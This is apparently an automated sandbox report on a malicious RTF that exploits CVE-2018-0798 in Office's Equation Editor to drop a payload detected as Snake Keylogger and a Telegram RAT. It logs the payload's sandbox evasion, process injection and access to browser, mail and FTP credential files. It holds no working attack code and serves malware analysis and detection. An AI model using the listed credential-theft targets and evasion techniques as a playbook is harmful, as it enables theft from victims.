Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00264EA8 6_2_00264EA8
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00268693 6_2_00268693
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00260490 6_2_00260490
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_002608E8 6_2_002608E8
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_002670DC 6_2_002670DC
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00267530 6_2_00267530
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00262300 6_2_00262300
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_0026D300 6_2_0026D300
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00268B10 6_2_00268B10
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00268F6D 6_2_00268F6D
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_0026A979 6_2_0026A979
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00260D41 6_2_00260D41
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00262753 6_2_00262753
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00262BA8 6_2_00262BA8
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00267988 6_2_00267988
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00261198 6_2_00261198
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_00267DE0 6_2_00267DE0
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_002615F1 6_2_002615F1
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_0026E5F1 6_2_0026E5F1
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_002693C0 6_2_002693C0
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: arinzezx[1].exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: rinzearec84736.exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: SecuriteInfo.com.Exploit.CVE-2018-0798.4.11301.24836.rtf ReversingLabs: Detection: 20%
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\rinzearec84736.exe C:\Users\user\AppData\Roaming\rinzearec84736.exe
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process created: C:\Users\user\AppData\Roaming\rinzearec84736.exe C:\Users\user\AppData\Roaming\rinzearec84736.exe
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\rinzearec84736.exe C:\Users\user\AppData\Roaming\rinzearec84736.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process created: C:\Users\user\AppData\Roaming\rinzearec84736.exe C:\Users\user\AppData\Roaming\rinzearec84736.exe Jump to behavior
Source: SecuriteInfo.com.Exploit.CVE-2018-0798.4.11301.24836.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\SecuriteInfo.com.Exploit.CVE-2018-0798.4.11301.24836.rtf
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$curiteInfo.com.Exploit.CVE-2018-0798.4.11301.24836.rtf Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVR5FCB.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winRTF@7/6@2/2
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: rinzearec84736.exe, 00000005.00000000.907194181.00000000009C2000.00000020.00000001.01000000.00000004.sdmp, rinzearec84736.exe.2.dr, arinzezx[1].exe.2.dr Binary or memory string: insert into User_Transportation(UserID,TransportationID) values (@UserID,@TransID);
Source: rinzearec84736.exe, 00000005.00000000.907194181.00000000009C2000.00000020.00000001.01000000.00000004.sdmp, rinzearec84736.exe.2.dr, arinzezx[1].exe.2.dr Binary or memory string: insert into TourPlace(Name,Location,TicketPrice) values (@name,@location,@ticket);
Source: rinzearec84736.exe, 00000005.00000000.907194181.00000000009C2000.00000020.00000001.01000000.00000004.sdmp, rinzearec84736.exe.2.dr, arinzezx[1].exe.2.dr Binary or memory string: insert into User_TourPlace(UserID,TourPlaceID) values (@UserID,@TourplaceID);
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll Jump to behavior
Source: 6.0.rinzearec84736.exe.400000.0.unpack, ?u060cufffd??/ufffd?ufffd??.cs Cryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
Source: 6.0.rinzearec84736.exe.400000.0.unpack, ??u00be?u05c3/?????.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 6.0.rinzearec84736.exe.400000.0.unpack, ??u00be?u05c3/?????.cs Cryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0059C27C push eax; retn 0059h 2_2_0059C27D
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0058F89F push ebp; ret 2_2_0058F8AF
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 5_2_001D8A63 push ss; iretd 5_2_001D8A64
Source: initial sample Static PE information: section name: .text entropy: 7.5995313133783124
Source: initial sample Static PE information: section name: .text entropy: 7.5995313133783124
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\arinzezx[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\rinzearec84736.exe Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: 5.2.rinzearec84736.exe.226663c.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.2249628.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.923783682.0000000002498000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.922046499.0000000002241000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rinzearec84736.exe PID: 296, type: MEMORYSTR
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: rinzearec84736.exe, 00000005.00000002.922046499.0000000002241000.00000004.00000800.00020000.00000000.sdmp, rinzearec84736.exe, 00000005.00000002.923783682.0000000002498000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SBIEDLL.DLL
Source: rinzearec84736.exe, 00000005.00000002.922046499.0000000002241000.00000004.00000800.00020000.00000000.sdmp, rinzearec84736.exe, 00000005.00000002.923783682.0000000002498000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2948 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe TID: 1196 Thread sleep time: -38122s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe TID: 304 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe TID: 2652 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2212 Thread sleep time: -180000s >= -30000s Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Thread delayed: delay time: 38122 Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: rinzearec84736.exe, 00000005.00000002.924373144.0000000003374000.00000004.00000800.00020000.00000000.sdmp, rinzearec84736.exe, 00000005.00000002.925088614.00000000049C0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: hhkxlO3QEMUbiR61Vmc
Source: rinzearec84736.exe, 00000005.00000002.923783682.0000000002498000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: rinzearec84736.exe, 00000005.00000002.923783682.0000000002498000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmware
Source: rinzearec84736.exe, 00000005.00000002.923783682.0000000002498000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware SVGA II
Source: rinzearec84736.exe, 00000005.00000002.923783682.0000000002498000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools
Enables debug privileges
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process token adjusted: Debug Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Code function: 6_2_001C65A1 LdrInitializeThunk, 6_2_001C65A1
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: 6.0.rinzearec84736.exe.400000.0.unpack, ??u00be?u05c3/?????.cs Reference to suspicious API methods: ('???m?', 'MapVirtualKey@user32.dll')
Source: 6.0.rinzearec84736.exe.400000.0.unpack, u05c9??m?/ufffd?u060c?u26ca.cs Reference to suspicious API methods: ('?????', 'LoadLibrary@kernel32.dll'), ('?????', 'GetProcAddress@kernel32')
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Memory written: C:\Users\user\AppData\Roaming\rinzearec84736.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\rinzearec84736.exe C:\Users\user\AppData\Roaming\rinzearec84736.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Process created: C:\Users\user\AppData\Roaming\rinzearec84736.exe C:\Users\user\AppData\Roaming\rinzearec84736.exe Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Queries volume information: C:\Users\user\AppData\Roaming\rinzearec84736.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Queries volume information: C:\Users\user\AppData\Roaming\rinzearec84736.exe VolumeInformation Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 5.2.rinzearec84736.exe.33d8c18.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33b8bf8.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.rinzearec84736.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33d8c18.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33b8bf8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33745d8.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000000.919229211.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.924373144.0000000003374000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rinzearec84736.exe PID: 296, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: rinzearec84736.exe PID: 648, type: MEMORYSTR
Yara detected Telegram RAT
Source: Yara match File source: 5.2.rinzearec84736.exe.33d8c18.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33b8bf8.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.rinzearec84736.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33d8c18.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33b8bf8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33745d8.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000000.919229211.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.924373144.0000000003374000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rinzearec84736.exe PID: 296, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: rinzearec84736.exe PID: 648, type: MEMORYSTR
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\ Jump to behavior
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 5.2.rinzearec84736.exe.33d8c18.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33b8bf8.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.rinzearec84736.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33d8c18.9.raw.unpack, type: UNPACKEDPE
